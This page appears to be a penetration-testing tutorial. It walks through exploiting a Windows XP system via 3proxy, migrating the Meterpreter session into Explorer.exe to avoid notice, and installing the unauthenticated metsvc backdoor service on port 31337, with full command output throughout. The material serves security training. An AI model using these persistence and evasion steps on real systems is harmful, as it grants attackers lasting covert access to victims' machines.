Meterpreter Backdoor a11y.text Meterpreter Backdoor After going through all the hard work of exploiting a system, itâ€™s often a good idea to leave yourself an easier way back into it for later use. This way, if the service you initially exploited is down or patched, you can still gain access to the system. To read about the original implementation of metsvc , refer to http://www.phreedom.org/software/metsvc/ . Using the metsvc backdoor, you can gain a Meterpreter shell at any point. One word of warning here before we go any further: metsvc as shown here requires no authentication. This means that anyone that gains access to the port could access your back door! This is not a good thing if you are conducting a penetration test, as this could be a significant risk. In a real world situation, you would either alter the source to require authentication, or filter out remote connections to the port through some other method. First, we exploit the remote system and migrate to the Explorer.exe process in case the user notices the exploited service is not responding and decides to kill it. msf exploit(3proxy) > exploit

```
[*] Started reverse handler
[*] Trying target Windows XP SP2 - English...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.104:1983)

meterpreter > ps

Process list
============

    PID   Name                 Path
    ---   ----                 ----
    132   ctfmon.exe           C:\WINDOWS\system32\ctfmon.exe
```

```
   176   svchost.exe          C:\WINDOWS\system32\svchost.exe
   440   VMwareService.exe    C:\Program Files\VMware\VMware Tools\VMwareService.exe
   632   Explorer.EXE         C:\WINDOWS\Explorer.EXE
   796   smss.exe             \SystemRoot\System32\smss.exe
   836   VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe
   844   VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe
   884   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe
   908   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe
   952   services.exe         C:\WINDOWS\system32\services.exe
   964   lsass.exe            C:\WINDOWS\system32\lsass.exe
   1120  vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe
   1136  svchost.exe          C:\WINDOWS\system32\svchost.exe
   1236  svchost.exe          C:\WINDOWS\system32\svchost.exe
   1560  alg.exe              C:\WINDOWS\System32\alg.exe
   1568  WZCSLDR2.exe         C:\Program Files\ANI\ANIWZCS2 Service\WZCSLDR2.exe
   1596  jusched.exe          C:\Program Files\Java\jre6\bin\jusched.exe
   1656  msmsgs.exe           C:\Program Files\Messenger\msmsgs.exe
   1748  spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe
   1928  jqs.exe              C:\Program Files\Java\jre6\bin\jqs.exe
   2028  snmp.exe             C:\WINDOWS\System32\snmp.exe
   2840  3proxy.exe           C:\3proxy\bin\3proxy.exe
   3000  mmc.exe              C:\WINDOWS\system32\mmc.exe


meterpreter > migrate 632
[*] Migrating to 632...
[*] Migration completed successfully. Before installing metsvc, letâ€™s see what options are
```

available to us. meterpreter > run metsvc -h

```
[*]
OPTIONS:


    -A        Automatically start a matching multi/handler to connect to the service
    -h        This help menu
    -r        Uninstall an existing Meterpreter service (files must be deleted manually)
```

meterpreter > Since weâ€™re already connected via a Meterpreter session, we wonâ€™t set it to connect back to us right away. Weâ€™ll just install the service for now. meterpreter > run metsvc

```
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh...
[*]  >> Uploading metsrv.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
[*]      * Installing service metsvc
 * Starting service
Service metsvc successfully installed.
```

meterpreter > The service is now installed and waiting for a connection. Next Interacting with Metsvc

Prev Keylogging